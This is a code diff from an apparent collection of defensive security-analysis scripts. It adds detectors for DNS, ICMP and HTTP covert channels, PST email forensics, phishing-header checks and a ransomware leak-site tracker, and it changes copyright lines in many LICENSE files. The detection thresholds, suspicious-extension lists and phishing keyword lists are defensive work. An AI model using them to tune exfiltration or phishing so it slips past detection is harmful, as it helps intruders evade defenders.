pkt.haslayer(DNSQR): + qname = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".") + src = pkt[IP].src if pkt.haslayer(IP) else "?" + labels = qname.split(".") + subdomain = ".".join(labels[:-2]) if len(labels) > 2 else qname + entropy = shannon_entropy(subdomain.encode()) + base_domain = ".".join(labels[-2:]) if len(labels) >= 2 else qname + dns_queries[base_domain].append({ + "query": qname, "src": src, "entropy": round(entropy, 3), + "subdomain_len": len(subdomain), + }) + if entropy > entropy_threshold and len(subdomain) > length_threshold: + findings.append({ + "type": "dns_tunneling", "query": qname, "src": src, + "entropy": round(entropy, 3), + "subdomain_length": len(subdomain), "severity": "HIGH", + }) + volume_findings = [] + for domain, queries in dns_queries.items(): + if len(queries) > 100: + avg_entropy = sum(q["entropy"] for q in queries) / len(queries) + if avg_entropy > 3.0: + volume_findings.append({ + "type": "dns_high_volume", "domain": domain, + "query_count": len(queries), + "avg_entropy": round(avg_entropy, 3), "severity": "HIGH", + }) + return findings[:50], volume_findings + + +def detect_icmp_covert_channel(packets, payload_threshold=64): + """Detect ICMP covert channels via payload analysis.""" + findings = [] + icmp_flows = defaultdict(list) + for pkt in packets: + if pkt.haslayer(ICMP) and pkt.haslayer(Raw): + payload = bytes(pkt[Raw].load) + src = pkt[IP].src if pkt.haslayer(IP) else "?" + dst = pkt[IP].dst if pkt.haslayer(IP) else "?" + entropy = shannon_entropy(payload) + flow_key = f"{src}->{dst}" + icmp_flows[flow_key].append(payload) + if len(payload) > payload_threshold and entropy > 5.0: + findings.append({ + "type": "icmp_covert", "src": src, "dst": dst, + "icmp_type": pkt[ICMP].type, + "payload_size": len(payload), + "entropy": round(entropy, 3), "severity": "HIGH", + }) + for flow, payloads in icmp_flows.items(): + total_bytes = sum(len(p) for p in payloads) + if total_bytes > 10000: + findings.append({ + "type": "icmp_exfiltration", "flow": flow, + "total_bytes": total_bytes, + "packet_count": len(payloads), "severity": "HIGH", + }) + return findings[:50] + + +def detect_http_header_covert(packets): + """Detect covert data in HTTP headers.""" + findings = [] + for pkt in packets: + if pkt.haslayer(TCP) and pkt.haslayer(Raw): + try: + payload = bytes(pkt[Raw].load).decode("utf-8", errors="replace") + except Exception: + continue + if not payload.startswith(("GET ", "POST ", "HTTP/")): + continue + for line in payload.split("\r\n"): + if ":" not in line: + continue + header, _, value = line.partition(":") + value = value.strip() + if header.lower() == "cookie" and len(value) > 500: + entropy = shannon_entropy(value.encode()) + if entropy > 4.5: + findings.append({ + "type": "http_cookie_exfil", "header": header, + "value_length": len(value), + "entropy": round(entropy, 3), "severity": "MEDIUM", + }) + if header.lower().startswith("x-") and len(value) > 100: + entropy = shannon_entropy(value.encode()) + if entropy > 4.0: + findings.append({ + "type": "http_custom_header", "header": header, + "value_length": len(value), + "entropy": round(entropy, 3), "severity": "MEDIUM", + }) + return findings[:50] + + +def detect_protocol_anomalies(packets): + """Detect protocol-level anomalies indicating covert communication.""" + findings = [] + for pkt in packets: + if pkt.haslayer(IP): + proto = pkt[IP].proto + if proto not in (1, 6, 17, 47, 50, 51): + findings.append({ + "type": "unusual_ip_proto", "protocol": proto, + "src": pkt[IP].src, "dst": pkt[IP].dst, "severity": "MEDIUM", + }) + return findings[:50] + + +def generate_report(pcap_path, dns_f, dns_v, icmp_f, http_f, proto_f): + """Generate covert channel analysis report.""" + total = len(dns_f) + len(icmp_f) + len(http_f) + len(proto_f) + return { + "pcap_file": pcap_path, "total_findings": total, + "dns_tunneling": {"count": len(dns_f), "findings": dns_f[:10]}, + "dns_volume_anomalies": dns_v[:10], + "icmp_covert": {"count": len(icmp_f), "findings": icmp_f[:10]}, + "http_header_covert": {"count": len(http_f), "findings": http_f[:10]}, + "protocol_anomalies": {"count": len(proto_f), "findings": proto_f[:10]}, + "risk_level": "HIGH" if total > 10 else "MEDIUM" if total > 3 else "LOW", + } + + +if __name__ == "__main__": + print("=" * 60) + print("Network Covert Channel Detection Agent") + print("DNS tunneling, ICMP covert, HTTP header, protocol abuse") + print("=" * 60) + + pcap = sys.argv[1] if len(sys.argv) > 1 else None + if not pcap or not os.path.exists(pcap): + print("\n[DEMO] Usage: python agent.py ") + print(f" scapy available: {HAS_SCAPY}") + sys.exit(0) + if not HAS_SCAPY: + print("[!] Install scapy: pip install scapy") + sys.exit(1) + + print(f"\n[*] Loading: {pcap}") + packets = rdpcap(pcap) + print(f"[*] Packets: {len(packets)}") + + dns_f, dns_v = detect_dns_tunneling(packets) + icmp_f = detect_icmp_covert_channel(packets) + http_f = detect_http_header_covert(packets) + proto_f = detect_protocol_anomalies(packets) + report = generate_report(pcap, dns_f, dns_v, icmp_f, http_f, proto_f) + + print(f"\n--- DNS Tunneling ({len(dns_f)}) ---") + for f in dns_f[:5]: + print(f" {f['src']} | entropy={f['entropy']} | {f['query'][:60]}") + print(f"\n--- ICMP Covert ({len(icmp_f)}) ---") + for f in icmp_f[:5]: + print(f" {f.get('flow', f.get('src','?'))} | {f.get('payload_size', f.get('total_bytes','?'))}B") + print(f"\n[*] Risk: {report['risk_level']}") + print(json.dumps(report, indent=2, default=str)) diff --git a/skills/analyzing-network-flow-data-with-netflow/LICENSE b/skills/analyzing-network-flow-data-with-netflow/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-network-flow-data-with-netflow/LICENSE +++ b/skills/analyzing-network-flow-data-with-netflow/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-network-traffic-for-incidents/LICENSE b/skills/analyzing-network-traffic-for-incidents/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-network-traffic-for-incidents/LICENSE +++ b/skills/analyzing-network-traffic-for-incidents/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-network-traffic-of-malware/LICENSE b/skills/analyzing-network-traffic-of-malware/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-network-traffic-of-malware/LICENSE +++ b/skills/analyzing-network-traffic-of-malware/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-network-traffic-with-wireshark/LICENSE b/skills/analyzing-network-traffic-with-wireshark/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-network-traffic-with-wireshark/LICENSE +++ b/skills/analyzing-network-traffic-with-wireshark/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-outlook-pst-for-email-forensics/LICENSE b/skills/analyzing-outlook-pst-for-email-forensics/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-outlook-pst-for-email-forensics/LICENSE +++ b/skills/analyzing-outlook-pst-for-email-forensics/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-outlook-pst-for-email-forensics/references/api-reference.md b/skills/analyzing-outlook-pst-for-email-forensics/references/api-reference.md new file mode 100644 index 00000000..fbe5f36b --- /dev/null +++ b/skills/analyzing-outlook-pst-for-email-forensics/references/api-reference.md @@ -0,0 +1,98 @@ +# API Reference: Outlook PST Email Forensics + +## pypff (libpff Python bindings) + +### Installation +```bash +pip install libpff-python +``` + +### Opening a PST File +```python +import pypff + +pst = pypff.file() +pst.open("mailbox.pst") +root = pst.get_root_folder() +``` + +### Navigating Folders +```python +for i in range(root.number_of_sub_folders): + folder = root.get_sub_folder(i) + print(f"{folder.name}: {folder.number_of_sub_messages} messages") +``` + +### Extracting Messages +```python +msg = folder.get_sub_message(0) +print(msg.subject) +print(msg.sender_name) +print(msg.delivery_time) +print(msg.transport_headers) +print(msg.plain_text_body) +print(msg.html_body) +``` + +### Extracting Attachments +```python +for i in range(msg.number_of_attachments): + att = msg.get_attachment(i) + print(f"Name: {att.name}, Size: {att.size}") + data = att.read_buffer(att.size) +``` + +## pffexport (CLI) + +### Syntax +```bash +pffexport mailbox.pst # Export all to current dir +pffexport -m all mailbox.pst # Export all message types +pffexport -t target_dir mailbox.pst # Export to target directory +pffexport -f text mailbox.pst # Export as text format +``` + +### Output Structure +``` +Export/ + Inbox/ + Message001/ + Message.txt + Attachment001.pdf + Sent Items/ + Deleted Items/ +``` + +## readpst (libpst) + +### Syntax +```bash +readpst -o output_dir mailbox.pst # Extract to dir +readpst -e mailbox.pst # Extract attachments +readpst -r mailbox.pst # Recursive extraction +readpst -j 4 mailbox.pst # Parallel (4 threads) +readpst -S mailbox.pst # Separate files per message +``` + +## PST File Structure + +| Component | Description | +|-----------|-------------| +| NDB Layer | Node Database - raw data storage | +| LTP Layer | Lists/Tables/Properties - message properties | +| Messaging Layer | Folders, messages, attachments | + +## Key Message Properties +| Property | MAPI Tag | Description | +|----------|----------|-------------| +| Subject | PR_SUBJECT (0x0037) | Email subject | +| Sender | PR_SENDER_NAME (0x0C1A) | Sender display name | +| From | PR_SENT_REPRESENTING_EMAIL (0x0065) | Sender email | +| Delivery Time | PR_MESSAGE_DELIVERY_TIME (0x0E06) | When delivered | +| Headers | PR_TRANSPORT_MESSAGE_HEADERS (0x007D) | Full SMTP headers | + +## Forensic Considerations +- Deleted Items folder may contain evidence +- Recoverable Items (dumpster) requires special extraction +- Calendar/Contacts may contain relevant data +- Journal entries can provide timeline evidence diff --git a/skills/analyzing-outlook-pst-for-email-forensics/scripts/agent.py b/skills/analyzing-outlook-pst-for-email-forensics/scripts/agent.py new file mode 100644 index 00000000..0bae5c05 --- /dev/null +++ b/skills/analyzing-outlook-pst-for-email-forensics/scripts/agent.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +"""Outlook PST file forensic analysis agent. + +Parses PST/OST files using pypff (libpff) to extract emails, attachments, +metadata, and deleted items for forensic investigation. +""" + +import os +import sys +import json +import hashlib +import re +from datetime import datetime +from collections import defaultdict + +try: + import pypff + HAS_PYPFF = True +except ImportError: + HAS_PYPFF = False + + +def compute_hash(filepath): + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + sha256.update(chunk) + return sha256.hexdigest() + + +def open_pst(filepath): + if not HAS_PYPFF: + return None, "pypff not installed. pip install libpff-python" + pst = pypff.file() + pst.open(filepath) + return pst, None + + +def extract_messages(folder, max_messages=1000): + messages = [] + for i in range(min(folder.number_of_sub_messages, max_messages)): + msg = folder.get_sub_message(i) + entry = { + "subject": msg.subject or "", + "sender": msg.sender_name or "", + "headers": (msg.transport_headers or "")[:500], + "creation_time": str(msg.creation_time) if msg.creation_time else "", + "delivery_time": str(msg.delivery_time) if msg.delivery_time else "", + "has_attachments": msg.number_of_attachments > 0, + "attachment_count": msg.number_of_attachments, + "body_size": len(msg.plain_text_body or "") if msg.plain_text_body else 0, + } + # Extract attachment metadata + attachments = [] + for j in range(msg.number_of_attachments): + att = msg.get_attachment(j) + attachments.append({ + "name": att.name or f"attachment_{j}", + "size": att.size, + }) + entry["attachments"] = attachments + messages.append(entry) + return messages + + +def walk_folders(folder, path="", results=None): + if results is None: + results = [] + current_path = f"{path}/{folder.name}" if folder.name else path or "/Root" + messages = extract_messages(folder) + if messages: + results.append({ + "folder": current_path, + "message_count": len(messages), + "messages": messages, + }) + for i in range(folder.number_of_sub_folders): + subfolder = folder.get_sub_folder(i) + walk_folders(subfolder, current_path, results) + return results + + +def extract_email_addresses(messages): + addresses = set() + email_pattern = re.compile(r"[\w.+-]+@[\w-]+\.[\w.-]+") + for msg in messages: + for field in [msg.get("sender", ""), msg.get("headers", "")]: + addresses.update(email_pattern.findall(field)) + return sorted(addresses) + + +def detect_suspicious_emails(messages): + findings = [] + suspicious_exts = [".exe", ".scr", ".bat", ".cmd", ".ps1", ".vbs", + ".js", ".hta", ".lnk", ".iso", ".img"] + for msg in messages: + for att in msg.get("attachments", []): + name = (att.get("name") or "").lower() + for ext in suspicious_exts: + if name.endswith(ext): + findings.append({ + "type": "suspicious_attachment", + "subject": msg.get("subject", "")[:80], + "attachment": att.get("name"), + "extension": ext, + "severity": "HIGH", + }) + subject = (msg.get("subject") or "").lower() + urgency_words = ["urgent", "immediate action", "password expired", + "verify your account", "suspended", "click here"] + for word in urgency_words: + if word in subject: + findings.append({ + "type": "phishing_indicator", + "subject": msg.get("subject", "")[:80], + "keyword": word, + "severity": "MEDIUM", + }) + break + return findings + + +def generate_report(filepath, folder_data): + all_messages = [] + for fd in folder_data: + all_messages.extend(fd.get("messages", [])) + addresses = extract_email_addresses(all_messages) + suspicious = detect_suspicious_emails(all_messages) + return { + "file": filepath, + "sha256": compute_hash(filepath), + "size": os.path.getsize(filepath), + "total_folders": len(folder_data), + "total_messages": len(all_messages), + "unique_addresses": len(addresses), + "top_addresses": addresses[:20], + "suspicious_findings": suspicious, + "folders": [{ + "path": f["folder"], + "count": f["message_count"], + } for f in folder_data], + } + + +if __name__ == "__main__": + print("=" * 60) + print("Outlook PST Forensic Analysis Agent") + print("Email extraction, attachment analysis, phishing detection") + print("=" * 60) + + target = sys.argv[1] if len(sys.argv) > 1 else None + if not target or not os.path.exists(target): + print("\n[DEMO] Usage: python agent.py ") + print(f" pypff available: {HAS_PYPFF}") + sys.exit(0) + + pst, err = open_pst(target) + if err: + print(f"[!] {err}") + sys.exit(1) + + print(f"\n[*] Parsing: {target}") + root = pst.get_root_folder() + folder_data = walk_folders(root) + report = generate_report(target, folder_data) + + print(f"[*] Folders: {report['total_folders']}") + print(f"[*] Messages: {report['total_messages']}") + print(f"[*] Unique addresses: {report['unique_addresses']}") + + print("\n--- Folder Structure ---") + for f in report["folders"]: + print(f" {f['path']}: {f['count']} messages") + + print(f"\n--- Suspicious ({len(report['suspicious_findings'])}) ---") + for s in report["suspicious_findings"][:10]: + print(f" [{s['severity']}] {s['type']}: {s.get('attachment', s.get('keyword', ''))}") + + pst.close() + print(f"\n{json.dumps(report, indent=2, default=str)}") diff --git a/skills/analyzing-packed-malware-with-upx-unpacker/LICENSE b/skills/analyzing-packed-malware-with-upx-unpacker/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-packed-malware-with-upx-unpacker/LICENSE +++ b/skills/analyzing-packed-malware-with-upx-unpacker/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-pdf-malware-with-pdfid/LICENSE b/skills/analyzing-pdf-malware-with-pdfid/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-pdf-malware-with-pdfid/LICENSE +++ b/skills/analyzing-pdf-malware-with-pdfid/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-phishing-email-headers/LICENSE b/skills/analyzing-phishing-email-headers/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-phishing-email-headers/LICENSE +++ b/skills/analyzing-phishing-email-headers/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-phishing-email-headers/references/api-reference.md b/skills/analyzing-phishing-email-headers/references/api-reference.md new file mode 100644 index 00000000..5018db09 --- /dev/null +++ b/skills/analyzing-phishing-email-headers/references/api-reference.md @@ -0,0 +1,90 @@ +# API Reference: Phishing Email Header Analysis + +## Python email Module + +### Parsing Email Files +```python +import email +with open("message.eml", "r") as f: + msg = email.message_from_string(f.read()) + +print(msg["From"]) +print(msg["Subject"]) +print(msg.get_all("Received")) +print(msg["Authentication-Results"]) +``` + +### Extracting Body +```python +if msg.is_multipart(): + for part in msg.walk(): + if part.get_content_type() == "text/html": + body = part.get_payload(decode=True).decode() +``` + +## Key Email Headers for Forensics + +| Header | Purpose | +|--------|---------| +| `Received` | Mail server routing chain (bottom = origin) | +| `From` | Claimed sender (can be spoofed) | +| `Return-Path` | Envelope sender for bounces | +| `Reply-To` | Where replies go (phishing: often different from From) | +| `Authentication-Results` | SPF/DKIM/DMARC verdicts | +| `Received-SPF` | SPF check result | +| `DKIM-Signature` | DKIM cryptographic signature | +| `X-Mailer` | Sending software | +| `Message-ID` | Unique message identifier | +| `X-Originating-IP` | Original sender IP | + +## Authentication Checks + +### SPF Status Values +| Value | Meaning | +|-------|---------| +| `pass` | Sender IP authorized | +| `fail` | Sender IP not authorized | +| `softfail` | Not authorized but not rejected | +| `neutral` | No SPF policy for domain | +| `none` | No SPF record exists | + +### DKIM Verification +```bash +opendkim-testmsg < message.eml +# Or in Authentication-Results: dkim=pass header.d=example.com +``` + +### DMARC Policy Check +```bash +dig _dmarc.example.com TXT +# v=DMARC1; p=reject; rua=mailto:dmarc@example.com +``` + +## Phishing Detection Indicators + +| Indicator | Severity | Description | +|-----------|----------|-------------| +| SPF fail | HIGH | Sender IP not in domain's SPF record | +| Reply-To mismatch | HIGH | Reply-To different from From address | +| Email in display name | HIGH | Display name contains email address | +| IP-based URL | HIGH | Links point to raw IP addresses | +| Urgency keywords | MEDIUM | Subject contains "urgent", "action required" | +| URL shortener | MEDIUM | Links use bit.ly, tinyurl, etc. | +| New domain | MEDIUM | Sending domain registered recently | +| PHPMailer X-Mailer | MEDIUM | Bulk mailer software | + +## msgconvert (Perl) + +### Convert MSG to EML +```bash +msgconvert message.msg # Outputs message.eml +msgconvert --outfile out.eml msg.msg # Specify output +``` + +## emlAnalyzer (Python) + +### Installation and Usage +```bash +pip install eml-analyzer +emlAnalyzer -i message.eml --header --html --attachments +``` diff --git a/skills/analyzing-phishing-email-headers/scripts/agent.py b/skills/analyzing-phishing-email-headers/scripts/agent.py new file mode 100644 index 00000000..05336de2 --- /dev/null +++ b/skills/analyzing-phishing-email-headers/scripts/agent.py @@ -0,0 +1,216 @@ +#!/usr/bin/env python3 +"""Phishing email header analysis agent. + +Parses email headers to detect spoofing, authentication failures, +suspicious routing, and phishing indicators. +""" + +import os +import sys +import json +import re +import email +import email.utils +from datetime import datetime +from collections import OrderedDict + + +def parse_email_file(filepath): + with open(filepath, "r", encoding="utf-8", errors="replace") as f: + return email.message_from_string(f.read()) + + +def extract_received_chain(msg): + chain = [] + for header in msg.get_all("Received", []): + entry = {"raw": header.strip()[:300]} + from_match = re.search(r"from\s+([\w.-]+)", header) + by_match = re.search(r"by\s+([\w.-]+)", header) + ip_match = re.search(r"\[(\d+\.\d+\.\d+\.\d+)\]", header) + date_match = re.search(r";\s*(.+)$", header) + if from_match: + entry["from_host"] = from_match.group(1) + if by_match: + entry["by_host"] = by_match.group(1) + if ip_match: + entry["ip"] = ip_match.group(1) + if date_match: + entry["date"] = date_match.group(1).strip()[:60] + chain.append(entry) + return chain + + +def check_spf(msg): + spf_headers = msg.get_all("Received-SPF", []) + auth_results = msg.get("Authentication-Results", "") + result = {"status": "none", "details": ""} + for h in spf_headers: + h_lower = h.lower() + if "pass" in h_lower: + result = {"status": "pass", "details": h[:200]} + elif "fail" in h_lower or "softfail" in h_lower: + result = {"status": "fail", "details": h[:200]} + elif "neutral" in h_lower: + result = {"status": "neutral", "details": h[:200]} + if "spf=" in auth_results.lower(): + spf_match = re.search(r"spf=(\w+)", auth_results, re.IGNORECASE) + if spf_match: + result["auth_result_spf"] = spf_match.group(1) + return result + + +def check_dkim(msg): + auth_results = msg.get("Authentication-Results", "") + dkim_sig = msg.get("DKIM-Signature", "") + result = {"status": "none", "domain": ""} + if "dkim=" in auth_results.lower(): + dkim_match = re.search(r"dkim=(\w+)", auth_results, re.IGNORECASE) + if dkim_match: + result["status"] = dkim_match.group(1) + if dkim_sig: + d_match = re.search(r"d=([\w.-]+)", dkim_sig) + if d_match: + result["domain"] = d_match.group(1) + return result + + +def check_dmarc(msg): + auth_results = msg.get("Authentication-Results", "") + result = {"status": "none"} + if "dmarc=" in auth_results.lower(): + dmarc_match = re.search(r"dmarc=(\w+)", auth_results, re.IGNORECASE) + if dmarc_match: + result["status"] = dmarc_match.group(1) + return result + + +def extract_urls(msg): + urls = set() + body = "" + if msg.is_multipart(): + for part in msg.walk(): + ct = part.get_content_type() + if ct in ("text/plain", "text/html"): + payload = part.get_payload(decode=True) + if payload: + body += payload.decode("utf-8", errors="replace") + else: + payload = msg.get_payload(decode=True) + if payload: + body = payload.decode("utf-8", errors="replace") + urls.update(re.findall(r"https?://[^\s<>\"')\]]+", body)) + href_urls = re.findall(r'href=["\']([^"\']+)["\']', body) + urls.update(u for u in href_urls if u.startswith("http")) + return sorted(urls) + + +def detect_display_name_spoofing(msg): + from_header = msg.get("From", "") + reply_to = msg.get("Reply-To", "") + findings = [] + name, addr = email.utils.parseaddr(from_header) + if name and addr: + if re.search(r"@", name): + findings.append({ + "type": "email_in_display_name", + "detail": f"Display name contains email: {name}", + }) + if reply_to: + _, reply_addr = email.utils.parseaddr(reply_to) + if reply_addr and addr and reply_addr.lower() != addr.lower(): + findings.append({ + "type": "reply_to_mismatch", + "detail": f"From: {addr} vs Reply-To: {reply_addr}", + }) + return findings + + +def detect_phishing_indicators(msg, urls): + indicators = [] + subject = msg.get("Subject", "").lower() + urgency = ["urgent", "immediate", "action required", "suspended", + "verify", "expires today", "click here", "limited time"] + for word in urgency: + if word in subject: + indicators.append({ + "type": "urgency_subject", "keyword": word, "severity": "MEDIUM", + }) + break + for url in urls: + if re.search(r"https?://\d+\.\d+\.\d+\.\d+", url): + indicators.append({ + "type": "ip_url", "url": url[:100], "severity": "HIGH", + }) + if len(url) > 200: + indicators.append({ + "type": "long_url", "url_length": len(url), "severity": "MEDIUM", + }) + x_mailer = msg.get("X-Mailer", "") + if x_mailer and any(s in x_mailer.lower() for s in ["phpmailer", "swiftmailer"]): + indicators.append({ + "type": "suspicious_mailer", "mailer": x_mailer, "severity": "MEDIUM", + }) + return indicators + + +def generate_report(filepath, msg): + received = extract_received_chain(msg) + spf = check_spf(msg) + dkim = check_dkim(msg) + dmarc = check_dmarc(msg) + urls = extract_urls(msg) + spoofing = detect_display_name_spoofing(msg) + phishing = detect_phishing_indicators(msg, urls) + return { + "file": filepath, + "subject": msg.get("Subject", ""), + "from": msg.get("From", ""), + "to": msg.get("To", ""), + "date": msg.get("Date", ""), + "message_id": msg.get("Message-ID", ""), + "received_hops": len(received), + "received_chain": received, + "authentication": {"spf": spf, "dkim": dkim, "dmarc": dmarc}, + "urls_found": len(urls), + "urls": urls[:20], + "spoofing_indicators": spoofing, + "phishing_indicators": phishing, + "verdict": "SUSPICIOUS" if (phishing or spoofing or + spf.get("status") == "fail") else "CLEAN", + } + + +if __name__ == "__main__": + print("=" * 60) + print("Phishing Email Header Analysis Agent") + print("SPF/DKIM/DMARC, spoofing detection, URL extraction") + print("=" * 60) + + target = sys.argv[1] if len(sys.argv) > 1 else None + if not target or not os.path.exists(target): + print("\n[DEMO] Usage: python agent.py ") + sys.exit(0) + + msg = parse_email_file(target) + report = generate_report(target, msg) + + print(f"\n[*] Subject: {report['subject']}") + print(f"[*] From: {report['from']}") + print(f"[*] Date: {report['date']}") + print(f"[*] Received hops: {report['received_hops']}") + + auth = report["authentication"] + print(f"\n--- Authentication ---") + print(f" SPF: {auth['spf']['status']}") + print(f" DKIM: {auth['dkim']['status']}") + print(f" DMARC: {auth['dmarc']['status']}") + + print(f"\n--- URLs ({report['urls_found']}) ---") + for u in report["urls"][:5]: + print(f" {u[:80]}") + + print(f"\n--- Indicators ---") + for i in report["phishing_indicators"] + report["spoofing_indicators"]: + print(f" [{i.get('severity','INFO')}] {i['type']}: {i.get('detail', i.get('keyword', ''))}") + + print(f"\n[*] Verdict: {report['verdict']}") diff --git a/skills/analyzing-powershell-script-block-logging/LICENSE b/skills/analyzing-powershell-script-block-logging/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-powershell-script-block-logging/LICENSE +++ b/skills/analyzing-powershell-script-block-logging/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-prefetch-files-for-execution-history/LICENSE b/skills/analyzing-prefetch-files-for-execution-history/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-prefetch-files-for-execution-history/LICENSE +++ b/skills/analyzing-prefetch-files-for-execution-history/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-ransomware-encryption-mechanisms/LICENSE b/skills/analyzing-ransomware-encryption-mechanisms/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-ransomware-encryption-mechanisms/LICENSE +++ b/skills/analyzing-ransomware-encryption-mechanisms/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-ransomware-leak-site-intelligence/LICENSE b/skills/analyzing-ransomware-leak-site-intelligence/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-ransomware-leak-site-intelligence/LICENSE +++ b/skills/analyzing-ransomware-leak-site-intelligence/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-ransomware-leak-site-intelligence/references/api-reference.md b/skills/analyzing-ransomware-leak-site-intelligence/references/api-reference.md new file mode 100644 index 00000000..6a9a58c6 --- /dev/null +++ b/skills/analyzing-ransomware-leak-site-intelligence/references/api-reference.md @@ -0,0 +1,100 @@ +# API Reference: Ransomware Leak Site Intelligence + +## ransomware.live API + +### Recent Victims +```bash +curl https://api.ransomware.live/recentvictims +``` + +### Group Information +```bash +curl https://api.ransomware.live/groups +curl https://api.ransomware.live/group/lockbit3 +``` + +### Response Format +```json +{ + "group_name": "lockbit3", + "victim": "company-name", + "website": "company.com", + "discovered": "2024-03-15T00:00:00Z", + "country": "US", + "activity": "Manufacturing" +} +``` + +## ransomlook.io API + +### Endpoints +```bash +curl https://www.ransomlook.io/api/groups # List all groups +curl https://www.ransomlook.io/api/group/lockbit # Group details +curl https://www.ransomlook.io/api/recent # Recent posts +``` + +## Ransomwatch (GitHub) + +### Data Repository +```bash +git clone https://github.com/joshhighet/ransomwatch +# Data in JSON format: posts.json, groups.json +``` + +### JSON Schema +```json +{ + "group_name": "string", + "post_title": "string", + "discovered": "ISO-8601", + "post_url": "onion URL", + "country": "2-letter code", + "activity": "sector" +} +``` + +## ID Ransomware + +### Identification +``` +Upload: encrypted file + ransom note +URL: https://id-ransomware.malwarehunterteam.com/ +Returns: ransomware family, decryptor availability +``` + +## Active Ransomware Groups (2025) + +| Group | Status | Primary Target | +|-------|--------|---------------| +| LockBit 3.0 | Active | Cross-sector | +| Cl0p | Active | MOVEit/file transfer exploitation | +| Play | Active | Manufacturing, IT | +| 8Base | Active | SMBs | +| Akira | Active | Healthcare, Education | +| Black Basta | Active | Enterprise | +| Medusa | Active | Education, Healthcare | +| RansomHub | Active | Cross-sector | +| Rhysida | Active | Government, Healthcare | +| BianLian | Active | Healthcare, Manufacturing | + +## Intelligence Collection Framework + +| Source | Type | Update Frequency | +|--------|------|------------------| +| ransomware.live | Victim listings | Real-time | +| ransomlook.io | Group monitoring | Daily | +| ransomwatch | Onion site scraping | Hourly | +| NoMoreRansom.org | Decryptor availability | As released | +| CISA alerts | Government advisories | As published | + +## STIX Representation +```json +{ + "type": "threat-actor", + "name": "LockBit", + "threat_actor_types": ["crime-syndicate"], + "roles": ["agent"], + "goals": ["financial-gain"] +} +``` diff --git a/skills/analyzing-ransomware-leak-site-intelligence/scripts/agent.py b/skills/analyzing-ransomware-leak-site-intelligence/scripts/agent.py new file mode 100644 index 00000000..944f0f9a --- /dev/null +++ b/skills/analyzing-ransomware-leak-site-intelligence/scripts/agent.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python3 +"""Ransomware leak site intelligence analysis agent. + +Monitors and analyzes ransomware group leak site data for threat intelligence, +victim tracking, and TTI (time-to-intelligence) reporting. +""" + +import os +import sys +import json +import re +import hashlib +from datetime import datetime, timedelta +from collections import defaultdict, Counter + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + +RANSOMWARE_GROUPS = { + "lockbit": {"aliases": ["LockBit 3.0", "LockBit Black"], "status": "active"}, + "alphv": {"aliases": ["BlackCat", "ALPHV"], "status": 